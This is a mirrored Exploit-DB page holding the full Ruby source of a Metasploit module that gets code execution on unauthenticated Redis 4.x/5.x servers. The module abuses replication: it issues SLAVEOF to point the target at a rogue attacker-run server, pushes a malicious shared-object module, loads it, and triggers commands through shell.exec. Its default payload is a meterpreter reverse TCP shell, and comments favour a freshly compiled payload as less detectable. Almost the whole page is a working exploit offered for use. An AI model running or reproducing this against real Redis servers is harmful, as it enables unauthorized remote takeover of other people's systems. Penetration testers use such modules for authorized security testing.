Redis – Replication Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2020-03-31
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48272/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = GoodRanking
    
    include Msf::Exploit::Remote::TcpServer
    include Msf::Exploit::CmdStager
    include Msf::Exploit::FileDropper
    include Msf::Auxiliary::Redis
    include Msf::Module::Deprecated
    
    moved_from "exploit/linux/redis/redis_unauth_exec"
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Redis Replication Code Execution',
    'Description'=> %q{
    This module can be used to leverage the extension functionality added since Redis 4.0.0
    to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
    which called replication between master and slave.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Green-m<greenm.xxoo[at]gmail.com>' # Metasploit module
    ],
    'References' =>
    [
    [ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
    [ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
    ],
    
    'Platform' => 'linux',
    'Arch' => [ARCH_X86, ARCH_X64],
    'Targets'=>
    [
    ['Automatic',{} ],
    ],
    'DefaultOptions' => {
    'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
    'SRVPORT' => '6379'
    },
    'Privileged' => false,
    'DisclosureDate' => 'Nov 13 2018',
    'DefaultTarget'=> 0,
    'Notes'=>
    {
    'Stability' => [ SERVICE_RESOURCE_LOSS],
    'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
    },
    ))
    
    register_options(
    [
    Opt::RPORT(6379),
    OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
    ]
    )
    
    register_advanced_options(
    [
    OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
    OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
    OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
    ]
    )
    deregister_options('URIPATH', 'THREADS', 'SSLCert')
    end
    
    #
    # Now tested on redis 4.x and 5.x
    #
    def check
    connect
    # they are only vulnerable if we can run the CONFIG command, so try that
    return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
    
    if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
    report_redis(redis_version)
    end
    
    unless redis_version
    print_error('Cannot retrieve redis version, please check it manually')
    return Exploit::CheckCode::Unknown
    end
    
    # Only vulnerable to version 4.x or 5.x
    version = Gem::Version.new(redis_version)
    if version >= Gem::Version.new('4.0.0')
    vprint_status("Redis version is #{redis_version}")
    return Exploit::CheckCode::Vulnerable
    end
    
    Exploit::CheckCode::Safe
    ensure
    disconnect
    end
    
    def has_check?
    true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
    end
    
    def exploit
    if check_custom
    @module_init_name = datastore['RedisModuleInit']|| Rex::Text.rand_text_alpha_lower(4..8)
    @module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
    else
    @module_init_name = 'shell'
    @module_cmd = 'shell.exec'
    end
    
    if srvhost == '0.0.0.0'
    fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
    end
    
    #
    # Prepare for payload.
    #
    #1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
    # It's only worked on linux system.
    #
    #2. Use compiled payload, it's avaiable on all OS, however more detectable.
    #
    if check_custom
    buf = create_payload
    generate_code_file(buf)
    compile_payload
    end
    
    connect
    
    #
    # Send the payload.
    #
    redis_command('SLAVEOF', srvhost, srvport.to_s)
    redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")
    ::IO.select(nil, nil, nil, 2.0)
    
    # start the rogue server
    start_rogue_server
    # waiting for victim to receive the payload.
    Rex.sleep(1)
    redis_command('MODULE', 'LOAD', "./#{module_file}")
    redis_command('SLAVEOF', 'NO', 'ONE')
    
    # Trigger it.
    print_status('Sending command to trigger payload.')
    pull_the_trigger
    
    # Clean up
    Rex.sleep(2)
    register_file_for_cleanup("./#{module_file}")
    #redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
    #redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
    
    ensure
    disconnect
    end
    
    #
    # We pretend to be a real redis server, and then slave the victim.
    #
    def start_rogue_server
    begin
    socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
    print_status("Listening on #{srvhost}:#{srvport}")
    rescue Rex::BindFailed
    print_warning("Handler failed to bind to #{srvhost}:#{srvport}")
    print_status("Listening on 0.0.0.0:#{srvport}")
    socket = Rex::Socket::TcpServer.create({'LocalHost'=>'0.0.0.0', 'LocalPort'=>srvport})
    end
    
    rsock = socket.accept()
    vprint_status('Accepted a connection')
    
    # Start negotiation
    while true
    request = rsock.read(1024)
    vprint_status("in<<< #{request.inspect}")
    response = ""
    finish = false
    
    case
    when request.include?('PING')
    response = "+PONG\r\n"
    when request.include?('REPLCONF')
    response = "+OK\r\n"
    when request.include?('PSYNC') || request.include?('SYNC')
    response= "+FULLRESYNC #{'Z'*40} 1\r\n"
    response << "$#{payload_bin.length}\r\n"
    response << "#{payload_bin}\r\n"
    finish = true
    end
    
    if response.length < 200
    vprint_status("out>>> #{response.inspect}")
    else
    vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")
    end
    
    rsock.put(response)
    
    if finish
    print_status('Rogue server close...')
    rsock.close()
    socket.close()
    break
    end
    end
    end
    
    def pull_the_trigger
    if check_custom
    redis_command("#{@module_cmd}")
    else
    execute_cmdstager
    end
    end
    
    #
    # Parpare command stager for the pre-compiled payload.
    # And the command of module is hard-coded.
    #
    def execute_command(cmd, opts = {})
    redis_command('shell.exec',"#{cmd.to_s}") rescue nil
    end
    
    #
    # Generate source code file of payload to be compiled dynamicly.
    #
    def generate_code_file(buf)
    template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
    File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
    end
    
    def compile_payload
    make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
    vprint_status("Clean old files")
    vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|)
    vprint_status(%x|make -C #{File.dirname(make_file)} clean|)
    
    print_status('Compile redis module extension file')
    res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true|
    if res.include? 'true'
    print_good("Payload generated successfully! ")
    else
    print_error(res)
    fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
    end
    end
    
    #
    # check the environment for compile payload to so file.
    #
    def check_env
    # check if linux
    return false unless %x|uname -s 2>/dev/null|.include? "Linux"
    # check if gcc installed
    return false unless %x|command -v gcc && echo true|.include? "true"
    # check if ld installed
    return false unless %x|command -v ld && echo true|.include? "true"
    
    true
    end
    
    def check_custom
    return @custom_payload if @custom_payload
    
    @custom_payload = false
    @custom_payload = true if check_env && datastore['CUSTOM']
    
    @custom_payload
    end
    
    def module_file
    return @module_file if @module_file
    @module_file = datastore['RedisModuleName']|| "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
    end
    
    def create_payload
    p = payload.encoded
    Msf::Simple::Buffer.transform(p, 'c', 'buf')
    end
    
    def payload_bin
    return @payload_bin if @payload_bin
    if check_custom
    @payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
    else
    @payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp','exp.so'))
    end
    @payload_bin
    end
    end